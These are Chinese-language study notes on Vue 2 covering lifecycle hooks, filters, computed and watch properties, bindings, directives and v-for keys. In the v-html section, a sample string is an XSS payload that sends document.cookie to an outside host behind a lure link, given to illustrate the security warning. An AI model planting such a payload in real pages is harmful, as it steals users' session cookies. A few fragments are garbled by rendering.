Vue入门到精通
一、准备工作
知识大纲:熟练度自查
- CH1 初识:
- 1-1 vue概念:简单小巧,渐进式技术栈✅
- 1-2 MVVM模式:M(数据)<=>VM<=>V(DOM元素)✅
- CH2 数据绑定:
- 2-1 vue实例对象:
var app = new Vue({ })
✅ - 2-2 生命周期:create-新建-mount-更新-update-销毁-destroy,注意大小写
beforeCreate(){}
和created(){}
✅ - 2-3 数据绑定:双向
{{name}}
和data: {name: 'xxx'}
✅ - 2-4 过滤器:全局
Vue.filter('value',func(value){})
,局部filters:{filter(value){ }}
,引用{{name|filter}}
和v-bind:xxx="name|filter"
✅
- 2-1 vue实例对象:
- CH3 计算属性和监视属性
- 3-1 计算属性computed:定义
computed:{ compute:{ } }
;引用{{compute}}
和(p,index) of compute
,后者返回数组;get()用于获取数据,set()用于收到数据变化后处理✅ - 3-2 监视属性watch:定义
watch:{variable:{deep:true,immediate:true,handler(newValue,oldValue){ }}}
;watch:{variable(newValue,oldValue){ }}
⁉️
- 3-1 计算属性computed:定义
- CH4 v-bind和样式绑定
- 4-1 数据绑定:
v-xxx:xxx="xxx"
,bind省后单向样式,model省前双向表单✅ - 4-2 样式绑定:class绑定
:class="xxx"
,xxx=变量(1个不知名)、对象(多个知名不知用)、数组(多个不知名);style绑定:style="xxx"
,xxx=对象(多个知名不知用)、数组(多个不知名)✅
- 4-1 数据绑定:
- CH5 内置指令
- 5-1 基本指令:v-cloak(不显示标签), v-html(渲染html字符串),v-once(只渲染一次), v-pre(跳过不编译),v-text(显示文本内容)✅
- 5-2 条件渲染:v-if+v-else-if+v-else=“xxx”;v-if渲染不渲染,v-show显示不显示;✅
- 5-3 列表渲染:数组
(p,index) of arr
,对象(val,key) of obj
,字符串(char,index) of str
,次数(n,index) in N
;key虚拟DOM标识,数据变化后生成新的虚拟DOM,经过对比规则后生成真实的虚拟DOM;数组更新:增删splice();对象更新Vue.$set; - 5-4 指令与事件:v-on:event=“method($e,val)”<=>@event=“method(e,val)”;@click+prevent阻止默认+once执行一次+stop阻止冒泡+capture捕获模式+self触发当前+passive立即执行;@keydown+常用esc back enter space tab delete up down left right alt ctrl shift meta+
Vue.config.keyCodes.name=keycode
参考资料
二、Vue基础
1-Vue初识
1-1 Vue.js基础
- 什么是Vue
- 定义:简单小巧的核心,渐进式技术栈
1-2 MVVM模式
- Vue作者参考了MVVM模型
- MVVM模式:
- M(Model模型):data中的数据/模型;
- V(View视图):模板代码/DOM元素/页面;
- VM(ViewModel视图模型):Vue实例对象,包括data bindings数据绑定和DOM Listeners监听器,常用vm表示Vue实例对象
- 新建Vue实例对象:
const vm = new Vue()
- 新建Vue实例对象:
- 注意:
- data中的属性都出现在vm身上
- vm上所有属性 和 Vue原型(_proto)上所有属性,都可以在Vue模板上直接使用
-
model<=>view model<=>view:
-
数据代理
- Vue中的数据代理:通过vm对象来代理data对象中属性的操作(读/写)
- Vue中数据代理的好处:更加方便的操作data中的数据
- 基本原理:
- 通过Object.defineProperty()把data对象中所有属性添加到vm上。
- 为每一个添加到vm上的属性,都指定一个getter/setter。
- 在getter/setter内部去操作(读/写)data中对应的属性。
2-数据绑定
2-1 Vue实例
-
创建vue实例:
var app = new Vue({ 配置对象 });
//创建Vue实例,并传递了一个配置对象给它 -
挂载在容器上:el
- 定义:
- 写法1:
el: '#id',
,vue实例的属性el,用于指定当前Vue实例为哪个容器服务,即 指定这个Vue实例要控制的DOM元素 - 写法1:
v.$mount('#root');
,$
开头的内容是Vue自动准备的,proto原型对象上的
- 写法1:
- 访问DOM元素:
console.log(app.$el);
- 配置数据对象:data
- 定义:data是Vue管理的函数
- 定义:
- 对象式:
data{ name: value; }
,Vue实例的数据对象,用于存储数据,数据供el所指定的容器去使用,为双向绑定 - 返回式(组件必须用):
- 对象式:
: function(){ //等价于data(){
return{
console.log('@@@',this) //this是Vue实例
name : 'xxx'; //数据
}
}
- 我的理解:
- .html文件的格式是DOCTYPE+html(head+meta+title+script)+body(div+script);
- 如果要将vue加入html中:①在head中用script引入vue.js库;②在body中新建一个有id的DOM元素(容器);③在body中用script创建一个Vue实例;④在创建中需要用el指明当前实例要控制的对象,在data数据对象中存储数据;
- 补充:
- 想让Vue工作,就必须创建一个Vue实例,且要传入一个配置对象;
- root容器里的代码依然符合html规范,只不过混入了一些特殊的Vue语法
- root容器里的代码被称为【Vue模板】
- Vue实例和容器是一一对应的
- 真实开发中只有一个Vue实例,并且会配合着组件一起使用
2-2 生命周期
- 生命周期
- 又名:生命周期回调函数、生命周期函数、生命周期钩子。
- 是什么:Vue在关键时刻帮我们调用的一些特殊名称的函数。
- 关于新建vue实例
- 关于vue销毁实例
- 销毁后借助Vue开发者工具看不到任何信息。
- 销毁后自定义事件会失效,但原生DOM事件依然有效,因为Vue实例销毁并不影响直接添加到DOM元素上的事件监听器。
- 一般不会在beforeDestroy操作数据,因为即便操作数据,也不会触发更新,视图也不会重新渲染。
- 生命周期钩子
- 理解:
- 程序运行后:beforeCreate->created->beforeMount->mounted
- 数据更新后:调用数据更新方法->beforeUpdate->updated
- 实例销毁后:调用实例销毁方法->beforeDestroy->destroyed
- beforeCreate: vue实例初始化之后,数据观测和事件/侦听器的配置之前被调用。
- created: 在实例创建完成后被立即调用,此时完成了数据观测、属性和方法的运算,$el属性目前还不可见。
- beforeMount: 在挂载开始之前被调用,相关的render函数首次被调用。
- mounted: 实例被挂载后调用,此时el被新创建的vm.$el替换,并挂载到实例上去。
- beforeUpdate: 数据更新时调用,发生在虚拟DOM打补丁之前。
- updated: 由于数据更改导致的虚拟DOM重新渲染和打补丁,在这之后会调用这个钩子。
- beforeDestroy: 实例销毁之前调用。在这一步,实例仍然完全可用。
- destroyed: 实例销毁后调用,调用后,Vue实例指示的所有东西都会解绑定,所有的事件监听器会被移除,所有的子实例也会被销毁。
- 常用钩子:
- mounted: 适合执行初始化操作,如发送ajax请求、启动定时器、绑定自定义事件、订阅消息等。
- beforeDestroy: 适合执行收尾工作,如清除定时器、解绑自定义事件、取消订阅消息等,以防止内存泄漏。
- 定义&引用
- 定义:
var app = new Vue({
el:'#root',
data:{
},
mounted(){ //方法,挂载完毕后自动执行
},
beforeDestroy() { //方法,在Vue实例销毁前执行
},
})
- 引用:到了时间系统自动执行
- 补充:
- 生命周期函数的名字不可更改,但函数的具体内容是程序员根据需求编写的。
- 生命周期函数中的this指向是vm 或 组件实例对象
2-3 插值与表达式
- 模板语法:
- 插值语法:
- 定义:用于文本内容的渲染,实现标签体内容()的动态变化,用{{xxx}}实现
- 写法:{{xxx}},xxx是js表达式,且可以直接读取到data中的所有属性;一旦data中的数据发生改变,那么页面中用到该数据的地方也会自动更新;为了防止冲突,可以涉及多级结构,即school.url;
- 区别:
- js表达式:一个表达式会产生一个值,可以放在任何一个需要值的地方,如
a+b
或demo(1)
或x === y ? 'a' : 'b'
- js代码(语句):
if(){}
或for(){}
- js表达式:一个表达式会产生一个值,可以放在任何一个需要值的地方,如
- 指令语法:
- 功能:用于属性值的动态绑定,如标签属性、标签体内容、事件
- 举例:
v-bind:href="xxx"
或简写为:href="xxx"
,xxx同样要写js表达式,且可以直接读取到data中的所有属性。 - 备注:Vue中有很多的指令,且形式都是:
v-xxx
- 插值语法:
- 输出:
- 正常情况下
{{ }}
输出 { } 里面的纯文本内容 - 输出编译后的HTML:
<span v-html="link">链接</span>
- 输出
{{ }}
和纯文本内容:<span v-pre>{{ 不输出 }}</span>
- 正常情况下
- 运算:仅支持单个表达式
- 简单运算:
{{a/10}}
- 三元运算:
{{a ? '是' : '否'}}
- 叫啥运算:
{{a.split(',').reverse().join(',')}}
- 简单运算:
- 不支持:
- 不支持语句:
{{ var name = 'xxx' }}
- 不支持流控制:
{{ if a return ok }}
- 不支持语句:
2-4 过滤器filters
- 对数据简单处理的几种方法:
- 最简:赋值前用自定义的函数处理->
{{method()}}
- 基础:过滤器filter->
{{xxx | filter}}
- 复杂:计算属性computed->
{{method}}
- 最简:赋值前用自定义的函数处理->
- 过滤器
- 定义:对数据进行特定格式化后再显示,适用于一些简单逻辑的处理。并没有改变原本的数据, 是产生新的对应的数据。
- 目的:在输出到DOM之前,对数据进行格式化处理,例如日期格式化、货币格式化、文本转换等。
- 注意:在Vue.js 2.x中过滤器是一个常见的特性,但在Vue 3.x中,过滤器的概念被移除了,推荐使用计算属性(Computed)或方法(Methods)来替代。
- 定义&引用
- 全局or局部定义:
- 全局过滤器:
Vue.filter('name',function(value){})
- 全局过滤器:
<script>
Vue.filter('mySlice',function(value){ //全局过滤器
})
new Vue({ //第一个vue实例
el:'#root',
data:{ },
})
</script>
- 局部过滤器:
new Vue{
el:'#root',
data:{
},
filters:{ //filters对象
filter(){ //filter方法
}
}
}
- 不含参:`filter(){}`
- 含参:`filter(value){}`
- 引用:插值和v-bind表达式中!
- 插值:
{{ xxx | 过滤器名}}
- 绑定:
v-bind:xxx = "name | 过滤器名"
,xxx为属性
- 插值:
- 特性:
- 串联:
{{xxx | filter1 | filter2}}
- 含参:
{{ xxx | filter( 'msg1' )}}
- 串联:
3-计算监视
3-1 计算属性computed
- 计算属性
- 适用:要用的属性不存在,要通过已有属性计算得来,适合执行复杂逻辑处理,尤其根据现有数据派生出一些新数据时。
- 定义:声明式地描述数据依赖关系,以便自动将数据的变更映射到视图更新。
- 理解:计算属性可以完成各种复杂逻辑,如运算、函数调用,依赖多个vue实例的数据,只要一个数据变化,计算属性会重新执行,视图也会自动更新。
- 原理:底层借助了Objcet.defineproperty方法提供的getter和setter。
- 优势:
- 响应式依赖跟踪:Vue 会自动追踪计算属性函数中所用到的响应式依赖,确保在依赖项发生改变时重新计算并更新。
- 缓存:计算属性是基于它们的响应式依赖进行缓存的。只有在依赖项发生改变时它们才会重新计算。只要依赖项没有改变,多次访问计算属性会立即返回之前的计算结果,而不需要重复调用get函数,提高了性能。
- 双向绑定:通过 set 函数实现了对计算属性的“双向绑定”,允许不仅根据依赖数据动态生成 fullName,还可以通过修改 fullName 来更新这些依赖数据
- 备注:
- 计算属性最终会出现在vm上,直接读取使用即可。
- 适合处理复杂逻辑,将数据转换为另一种形式展示在界面上,或者在用户输入数据需要经过处理才能更新应用状态时使用
- 定义&引用
- 完整定义:computed(compute(get()+set()))
var app = new Vue(){
el: '#app', //el属性
data:{ }, //data对象
methods:{ }, //methods对象
computed:{ //computed对象
compute:{ //compute对象
get(){ }, //get方法
set(){ } //set方法
}
}
}
- 简单定义:只包含get
- 注意:
computed:{ }
<=>computed:function(){ }
,后者用了 function 关键字来定义计算属性的函数(符合ES5规范),前者在对象字面量中定义方法时可以省略 function 关键字和冒号(:)(ES6引入的方法简写语法)
- 注意:
var app = new Vue(){
el: '#app', //属性
data:{ }, //对象
methods:{ }, //对象
computed:{ //对象
compute(){ //对象
}
}
}
- 引用:
- 结合插值:
<h1>{{compute}}</h1>
,计算属性返回处理后的数据值 - 结合计算属性:计算属性可以依赖于其他计算属性。这意味着你可以构建基于多个计算属性的复杂表达式,Vue会自动处理依赖关系,确保正确的更新顺序。
- 结合样式绑定:
<div :class="classObject"></div>
或<div v-bind:style="styleObject">
,返回处理后的对象或者数组 - 结合表单v-model:
(p,index) of compute
,如果你需要在用户输入时处理数据(如格式化),可以为计算属性定义一个setter。这样,当用户通过表单输入改变数据时,计算属性的setter会被调用,允许你执行必要的操作。
- 结合插值:
<ul>
<li v-for="(p,index) of compute" :key="p.id">
</li>
</ul>
- 结合观察者watch:可以依赖计算属性来执行特定的逻辑。当计算属性的值变化时,相关的观察者会被触发。
- 结合路由:计算属性可以与Vue路由(vue-router)和状态管理(Vuex)结合使用,例如,根据当前路由状态或全局状态派生出新的状态。
- get和set方法
- get:
- 作用:当有人读取fullName时,get就会被调用,且返回值就作为fullName的值
- 调用时机:
- 初次读取:初次读取计算属性时会执行一次;
- 依赖更新:计算属性依赖的数据发生变化时。
- 定义
get(){ return this.firstName + '-' + this.lastName }
- set:
- 如果计算属性要被修改,那必须写set函数去响应修改,且set中要引起计算时依赖的数据发生改变。
- 调用时机:当计算属性依赖的数据被修改时,通过用户输入或程序逻辑。
- 定义:
set(value){ console.log('set',value) const arr = value.split('-') this.firstName = arr[0] this.lastName = arr[1] }
3-2 监视属性watch
- 定义:
- 允许开发者对数据变化进行【响应式处理】,当被监视的属性变化时,回调函数自动调用,进行相关操作,特别适合执行【数据变化】时的【异步操作】或【较为复杂的逻辑处理】。
- 注意:监视的属性必须存在,才能进行监视!!
- 写法:
- 写法1:new Vue时传入
watch
配置,最好普通函数,这样this的指向才是vm 或 组件实例对象。- 正常写法:
const app = new Vue({
el: '#app',
data:{ variable: 'xxx' },
computed:{ compute(){ return this.xxx} },
warch:{
variable:{ //被监视的对象
immediate: true, //初始化时就调用一下handler
deep: true, //深度监视,监视对象内部所有属性的变化
handler(newValue,oldValue){ } //被监视对象的属性值变化时自动调用
}}
})
- 简单写法:`variable(newValue,oldValue){ }`
- 多级结构中某个属性的变化:`vars: { var_1: 1 }`
warch:{
'vars.var_1':{ //被监视的对象
immediate: true, //初始化时就调用一下handler
deep: true, //深度监视,监视对象内部所有属性的变化
handler(newValue,oldValue){ } //被监视对象的属性值变化时自动调用
}
- 写法2:通过
vm.$watch
监视,最好箭头函数,这样this的指向才是vm 或 组件实例对象- 正常写法:
<script type="text/javascript"> const app = new Vue({ data:{ variable: 'xxx' } }) vm.$watch('variable',{ immediate:true, handler(newValue,oldValue){ } })</script>
- 简单写法:
vm.$watch('variable',(newValue,oldValue)=>{ })
- 正常写法:
- immediate配置选项:true或者false
- 定义:immediate选项决定了是否立即执行该监视器的回调函数,即在监视器创建之后立即调用一次该回调函数,而不需要等到被监视的属性首次发生变化时才调用。
immediate: true,
:Vue会在监视器创建后立即执行一次监视器的回调函数。这对于基于当前属性值的初始化操作非常有用,因为它允许你在组件创建时立即根据被监视属性的当前值进行某些操作,而不必等待该属性变化。- immediate被省略或设置为
immediate: false
:监视器的回调函数只会在被监视的属性发生变化时调用,而不会在监视器创建时立即调用。
- handler回调函数:
- 定义:handler可以直接作为watch属性的一个方法,在被监视的属性值发生变化时被调用。当你设置一个监视器(watcher)来观察一个组件的数据属性或计算属性时,handler函数就是你定义的那部分逻辑,用于响应这个数据变化。
- 作用:允许对数据变化进行响应,执行任何逻辑操作,比如发起一个API请求、更新其他数据属性或者执行一些特定的逻辑判断等。
- 语法:
handler(newValue, oldValue){//函数}
,newValue是属性变化后的新值,而oldValue是变化前的旧值 - 两个重要的小原则:
- 所有被Vue管理的函数,最好写成普通函数,这样this的指向才是vm 或 组件实例对象。
- 所有不被Vue所管理的函数(定时器的回调函数、ajax的回调函数等、Promise的回调函数),最好写成箭头函数,这样this的指向才是vm 或 组件实例对象。
- 深度监视:用于多级嵌套的对象
- 定义:Vue中的
watch
默认不监测对象内部属性的改变(一层),配置deep:true
可以监测对象内部所有属性的改变(多层)。 - 作用:用于需要响应【复杂对象】内部变化的场景,但是深度监视可能会引起性能问题,尤其是在监视大型对象或数组时。
- 语法:
deep:true,
- 注意:
- Vue自身可以监测对象内部值的改变,但Vue提供的watch默认不可以!
- 使用watch时根据数据的具体结构,决定是否采用深度监视。
- 定义:Vue中的
- computed和watch之间的区别:
- computed < watch:computed能完成的功能,watch都可以完成。watch能完成的功能,computed不一定能完成,例如:watch可以进行异步操作。
4-v-bind样式绑定
4-1 数据绑定
- 数据绑定:
-
单向数据绑定:
-
双向数
-
v-bind 单向绑定:数据只能从data流向页面。
-
v-model 双向绑定:数据不仅能从data流向页面,还可以从页面流向data。
-
记忆:
- model-MVVM模式-双向-表单,bind-绑定-单向-样式
- bind缩写留后,model缩写留前
- 定义&引用:
-
单项数据绑定:
- 定义:
v-bind:value="name"
<=>:value="name"
- 数据绑定:
<input type="text" v-bind:value="name">
- 样式绑定:
<input type="text" v-bind:class="class1">
和<input type="text" v-bind:style="style1">
- 数据绑定:
- 简写:
<input type="text" :value="name">
- 定义:
-
双向数据绑定:
v-model:value="name"
<=>v-model="name"
- 定义:
<input type="text" v-model:value="name">
- 简写:
<input type="text" v-model="name">
- 定义:
-
注意:
- 双向绑定v-model只能应用在表单类元素(输入类元素)上,如:input、select等
v-model:value
可以简写为v-model
,因为v-model默认收集的就是value值。
4-2 绑定样式
- 意义:通过改变数据来实现样式的动态变化
- 绑定class样式
- 写法:
:class="xxx"
, xxx可以是字符串、对象、数组。 - 字符串:绑定1个样式,但是类名class不确定,要动态获取。
- 引用:
:class = "class1"
- 数据:
mood: 'class1',
- 引用:
- 对象:要绑定多个样式,确定class类名和个数,但不确定用不用。
- 引用:
:class = "classObj"
- 数据:
classObj:{ class1: false; class2: false; }
- 引用:
- 数组:要绑定多个样式,不确定class类名和个数。
- 引用:
:class="classArr"
- 数据:
classArr:['class1','class2','class3'],
- 引用:
- 绑定style样式
- 写法:
:style="{fontSize: xxx}"
,其中xxx是动态值,可以是对象和数据 - 对象:要绑定的样式名、个数确定,但要不知道用不用
- 引用:
:style="styleObj"
- 数据:
styleObj:{ fontSize: '40px', color:'red', }
- 引用:
- 数组:要绑定的样式名、个数不确定
- 引用:
:style="styleArr"
- 数据:
styleArr:[{ fontSize: '40px', color:'blue', },{ backgroundColor:'gray' }]
- 引用:
5-内置指令
5-1 基本指令
- 常见指令:
v-bind : 单向绑定解析表达式, 可简写为 :xxx
v-model : 双向数据绑定
v-for : 遍历数组/对象/字符串
v-on : 绑定事件监听, 可简写为@
v-if : 条件渲染(动态控制节点是否存存在)
v-else : 条件渲染(动态控制节点是否存存在)
v-show : 条件渲染 (动态控制节点是否展示)
- v-cloak
- 特点:没有值,本质是一个特殊属性,Vue实例创建完毕并接管容器后,会删掉v-cloak属性。
- 作用:使用css配合v-cloak可以解决网速慢时页面展示出未编译的标签{{xxx}}问题。
- 语法:
<meta charset="UTF-8" />
<title>v-cloak指令</title>
<style>
[v-cloak]{ display:none; }
</style>
</head>
- v-html
- 作用:用于直接将HTML字符串渲染到元素内部,但使用时需要谨慎,因为它容易使应用程序面临跨站脚本(XSS)攻击的风险
- 语法:
- 数据:
str:'<h3>你好</h3>'
或str:'<a href=javascript:location.href="http://www.baidu.com?"+document.cookie>兄弟我找到你想要的资源了,快来!</a>'
- 引用:
<div v-html="str"></div>
- 数据:
- 与插值语法的区别:
- v-html会替换掉节点中所有的内容,{{xx}}则不会。
- v-html可以识别html结构。
- 严重注意:v-html有安全性问题!!!!
- 在网站上动态渲染任意HTML是非常危险的,容易导致XSS攻击(跨站脚本攻击)。
- 一定要在可信的内容上使用v-html,永不要用在用户提交的内容上!
- v-once仅渲染一次
- 作用:仅将数据渲染一次,不会随着数据的变化而更新,所在节点在初次动态渲染后,就视为静态内容了。
- 引用:
<h2 v-once>初始化的n值是:{{n}}</h2>
,n如何变化,都只显示第一次初始化后的结果 - 特点:以后数据的改变不会引起v-once所在结构的更新,可以用于性能优化和渲染静态内容,尤其是当你有一部分数据在整个生命周期内不会改变时,使用它可以减少Vue实例的监听和更新操作,提高应用性能。
- v-pre不编译
- 作用:用于跳过当前元素和它的子元素的编译过程
- 引用:
<h2 v-pre>>当前的n值是:{{n}}</h2>
,直接显示{{n}} - 特点:可利用它跳过没有使用指令语法、没有使用插值语法的节点,因为它减少了Vue编译器的工作量,会加快编译。
- v-text
- 作用:向其所在的节点中渲染文本内容,用于更新元素的文本内容,特别是当你需要更新的文本不包含任何HTML标签时。
- 引用:
<div v-text="str"></div>
,获取str的值,并将其作为文本内容插入到元素中 - 特点:
- 与插值语法的区别:v-text会替换掉节点中的内容,{{xx}}则不会。
- 如果str的值包含HTML标签,如
<h3></h3>
,使用v-text仍然会将其视为纯文本字符串进行处理,因此HTML标签不会被解析为HTML元素,而是直接显示其源代码。 - 使用v-text可以防止跨站脚本(XSS)攻击,因为它不会解析数据中的HTML标签,而是将其作为纯文本内容处理。
- v-if
- 写法:可以放在h1、div、template标签中
- 单个:
<p v-if="xxx">111</p>
,xxx为表达式 - 多个:可以在template元素上使用
- 两个:
<template v-if="xxx"/> <template v-else/>
- 三个:
<template v-if="xxx"/> <template v-else-if="xxx"/> <template v-else/>
- 两个:
- 单个:
- 适用于:切换频率较低的场景。
- 特点:不展示的DOM元素直接被移除。当条件为真时,元素会被渲染到DOM中;当条件为假时,元素会被完全移除出DOM。每次条件改变时,元素会进行重新渲染。
- 注意:v-if可以和v-else-if、v-else一起使用,但要求结构不能被“打断”。
- v-show
- 写法:
v-show="表达式"
- 适用于:切换频率较高的场景。
- 特点:不展示的DOM元素未被移除,仅仅是使用样式隐藏掉。元素始终会被渲染到DOM中,但是当条件为假时,通过设置CSS属性display: none来隐藏元素。当条件改变时,仅CSS的显示属性被修改,而不是进行DOM的插入或移除操作。
- 补充:
- v-if和v-show的区别:使用v-if的时,元素可能无法获取到,而使用v-show一定可以获取到。
- 在JavaScript中,通常用于比较相等性的操作符有两种:双等号()和三等号(=)。
- 双等号(==):执行类型转换后比较值是否相等。这意味着如果比较的两个值类型不同,JavaScript会尝试将它们转换为相同的类型,然后再进行比较。
- 三等号(===):严格比较,不会执行类型转换。只有在值和类型都相等的情况下,表达式才会返回true。
5-3 列表渲染指令v-for
- key的原理(面试题:react、vue中的key有什么作用?)
-> key被设置为每个人员的索引index,如果列表的内容会发生变化(如元素的添加、移除或排序)时,因为索引是基于元素的位置,这样的变化会导致错误的元素重用。
-> 更好的做法是使用一个唯一标识作为key,如人员id。这样,即使数据项的顺序变化,Vue也可以正确地识别并处理每个项的状态,避免不必要的元素重渲染和状态混乱。
① 虚拟DOM中key的作用:
- key是虚拟DOM对象的标识,当数据发生变化时,Vue会根据【新数据】生成【新的虚拟DOM】, 随后Vue进行【新虚拟DOM】与【旧虚拟DOM】的差异比较,比较规则如下:
- 旧虚拟DOM中找到了与新虚拟DOM相同的key:
- 若虚拟DOM中内容没变, 直接使用之前的真实DOM!
- 若虚拟DOM中内容变了, 则生成新的真实DOM,随后替换掉页面中之前的真实DOM。
- 旧虚拟DOM中未找到与新虚拟DOM相同的key
- 创建新的真实DOM,随后渲染到到页面。
② 用index作为key可能会引发的问题:
- 创建新的真实DOM,随后渲染到到页面。
- 旧虚拟DOM中找到了与新虚拟DOM相同的key:
- 若对数据进行:逆序添加、逆序删除等破坏顺序操作:
- 会产生没有必要的真实DOM更新 ==> 界面效果没问题, 但效率低。
- 如果结构中还包含输入类的DOM:
- 会产生错误DOM更新 ==> 界面有问题。
③ 开发中如何选择key:
- 会产生错误DOM更新 ==> 界面有问题。
- 最好使用每条数据的唯一标识作为key, 比如id、手机号、身份证号、学号等唯一值。
- 如果不存在对数据的逆序添加、逆序删除等破坏顺序操作,仅用于渲染列表用于展示,使用index作为key是没有问题的。
- Vue监视数据的原理:
- 数据绑定:vue会监视data中所有层次的数据。
- 响应式系统:Vue.js通过其响应式系统自动检测data对象属性的变化。当这些属性变化时,Vue会自动更新与这些属性绑定的DOM元素。
- 数据劫持:Vue的响应式系统底层通过使用
Object.defineProperty()
(Vue 2.x中响应式系统的核心技术)或Proxy(Vue 3.x)来劫持对象属性下的getter
读取和setter
设置,从而能够知道属性何时被访问或修改。对于数组,Vue包装了数组的变异方法(如push、pop、splice等),以便可以监听数组的变化。
- Vue不能自动监测以下变动:
- 对象:对象属性的添加或删除。
- 数组:通过索引直接设置数组项(如arr[index] = newValue)。
- 数组:修改数组的长度(如arr.length = newLength)。
- 监测数组中的数据:通过包裹数组更新元素的方法实现,本质就是做了两件事:
- 调用原生对应的方法对数组进行更新。
- 重新解析模板,进而更新页面。- 特别注意:Vue.set() 和 vm.$set() 不能给vm 或 vm的根数据对象 添加属性!!!
- 列表循环v-for
- 基于源数据多次渲染元素或模板块,用于展示列表数据
- 语法:
v-for="(item, index) in xxx" :key="yyy"
,其中:key="yyy"
是v-bind绑定,可遍历 数组、对象、字符串、指定次数 - 数组:
(p, index) of arr
- 数据:
arr=[{id:'1',age:18},{id:'2',age:20}]
,可获取数组每个元素的值和索引 - 定义:
<li v-for="(p,index) of arr" :key="index"></li>
,获取数组arr的当前项p和对应索引index,:key="index
为元素提供键值 - 结合计算属性的定义:
<li v-for="(p,index) of compute" :key="index"></li>
,获取计算属性compute返回后数组的当前项p和对应索引index,:key="index
为元素提供键值 - 引用:
{{p.id}}
和{{p.age}}
- 更新数组中数据:
arr=[{id:'1',age:18},{id:'2',age:20}]
- 直接修改数组中对象的属性:
this.persons[0].name = '马老师'
- (不行,无法识别)直接修改数组中的对象:
this.persons[0] = {id:'001',name:'马老师',age:50,sex:'男'}
- 使用splice方法更新数组中的对象:
this.persons.splice(0,1,{id:'001',name:'马老师'})
- 直接修改数组中对象的属性:
- 在Vue修改数组中的某个元素一定要用如下方法:
- 使用API:push()、pop()、shift()、unshift()、增删splice()、排序sort()、reverse()、过滤filter()
- 动态添加:Vue.set() 或 vm. s e t ( ) ,大写和 set(),大写和 set(),大写和二选一
- 数据:
- 对象:
(value, key, index) of object
- 数据:
car:{name:'奥迪A8', price:'70万', color:'黑色'}
,可获取对象每个属性的值(value)、键(key)、以及索引(index)(可选) - 定义:
<li v-for="(value,k) of obj" :key="k"></li>
,获取对象obj的键k和值value,:key="index
为元素提供键值 - 引用:
{{k}}-{{value}}
- 监测对象中的数据:通过setter实现监视,且要在new Vue时就传入要监测的数据。
- ★ 对象中后追加的属性,Vue默认不做响应式处理(如果它的值被更改,Vue也不会自动更新DOM以反映这个变化),因为Vue不能自动侦测到对象属性的添加或删除,如
this.student.sex = '男'
- 给后添加的属性做响应式:
- 全局API:
Vue.set(this.obj,'property'/index,'val')
,如Vue.set(this.student, 'sex', '男')
- 实例方法:
vm.$set(this.obj,'property'/index,'val')
,如this.$set(this.student.hobby,0,'开车')
- 全局API:
- 在Vue 3中,Vue.set已被移除,因为Vue 3使用了Proxy代替了Vue 2中的Object.defineProperty来实现响应性。在Vue 3中,直接给对象添加属性就会自动成为响应式的,所以不需要使用Vue.set,直接赋值(this.student.sex = ‘男’)就足够了。
- 数据:
- 字符串(用的很少):
(char, index) of str
- 数据:
str:'hello'
,将字符串视为字符数组,可以获取到每个字符和其索引 - 定义:
<li v-for="(char,index) of str" :key="index"></li>
,获取字符串str每个字符串char和对应索引index,:key="index
为元素提供键值 - 引用:
{{char}}-{{index}}
- 数据:
- 指定次数(用的很少):
(n, index) of N
- 无数据:Vue会从1计数到指定的数字,可以获取到当前的次数(number)和其索引(实际上就是次数-1)
- 定义:
<li v-for="(number,index) of 5" :key="index"></li>
,遍历指定次数5次,获取循环当前值number和当前迭代的索引index,:key="index
为元素提供键值 - 引用:
{{index}}-{{number}}
- 区别:所有index从0开始,遍历指定次数循环技术计数从1开始-
- v-if和v-for的优先级:
- 不应该把v-for和v-if放一起
- vue2中,v-for的优先级是高于v-if。把它们放在一起,输出的渲染函数中可以看出会先执行循环再判断条件,哪怕我们只渲染列表中一小部分元素,也得在每次重渲染的时候遍历整个列表,这会比较浪费
- vue3中,v-if的优先级高于v-for,所以v-if执行时,它调用的变量还不存在,就会导致异常
- 场景:
- 为了过滤列表中的项目 (比如 v-for=“user in users” v-if=“user.isActive”)。此时定义一个计算属性 (比如activeUsers),让其返回过滤后的列表即可(比如users.filter(u=>u.isActive))。
- 为了避免渲染本应该被隐藏的列表 (比如 v-for=“user in users” v-if = “shouldShowUsers”)。此时把 v-if 移动至容器元素上 (比如ul、ol)或者外面包一层template即可。
- 文档中明确指出永远不要把 v-if 和 v-for 同时用在同一个元素上,源码里面关于代码生成的部分,能够清晰的看到是先处理v-if还是v-for,顺序上vue2和vue3正好相反,但是不管怎样都是不能把它们写在一起的。
5-4 方法与事件
- 事件
- 事件对象event
- 定义:指代【事件对象】的参数,用于在事件处理函数中获取有关触发事件的详细信息。事件对象是由浏览器自动传递给事件处理函数的,它包含了事件发生时的所有相关信息,例如触发事件的元素、事件类型、在视口中的位置等。
- DOM元素事件传播的几个阶段:
- 捕获阶段(外→内):事件从document对象传播到事件目标的路径上的每个节点,直到达到事件目标本身之前的阶段。捕获模式允许开发者在事件到达指定的目标之前就对其进行处理,适用于当你需要阻止某些事件到达目标元素时。
- 目标阶段:事件到达事件目标(即触发事件的元素)。
- 冒泡阶段(内→外):事件从事件目标开始,逐级向上传播到document对象的阶段。允许开发者在一个高层元素上设置事件处理器来处理来自子元素的事件,这样可以减少事件处理器的数量,优化性能。
- 事件常见的属性和方法:
event.target
: 触发事件的DOM元素<input type="text" @keydown.huiche="showInfo">
中指绑定了keydown事件监听器的元素,console.log(e.target.value)
中e.target(即元素)的value属性,代表输入框中的当前文本值- 举例:
console.log(event.target.innerText)
event.type
: 事件的类型(如 click, mouseover 等)。event.preventDefault()
: 阻止事件的默认行为(如果事件可被取消)。event.stopPropagation()
: 停止事件冒泡,防止事件从触发元素向上冒泡到父元素。e.clientX
和e.clientY
: 提供了事件发生时,鼠标在视口中的水平和垂直位置。e.key
和e.keyCode
:触发事件的按键名称和触发事件的键的数值代码。注意,keyCode 属性已被弃用,且不建议在新代码中使用,因为不同浏览器可能会有不一致的实现。
- 注意:e和event都可以,要统一
- 绑定方法method
- 定义和引用:
v-on:xxx="method"
<=>@xxx="method"
- 不含参:
- 完整绑定:
v-on:xxx="method"
,其中xxx为事件类型包括click、mouseover、keyup、keydown、dblclick、mousemove等,method为methods方法对象中的方法 - 简写绑定:
@xxx="method"
- 有event 定义方法:在方法内能直接访问事件对象event;
methods:{ showInfo(event){ }}
- 无event 定义方法:不能访问;
showInfo(){ }
- 调用方法:
- 实例内部调用:
this.method();
- 实例外部调用:
app.methd();
- 实例内部调用:
- 完整绑定:
- 含参:
- 绑定:
@click="showInfo2($event,var)"
,事件对象可以通过特殊变量$event
在模板中被访问和传递到方法中 - 定义方法:
methods:{ showInfo2(event,var){ }}
- 调用方法:
- 实例内部调用:
this.method(val);
- 实例外部调用:
app.methd(val);
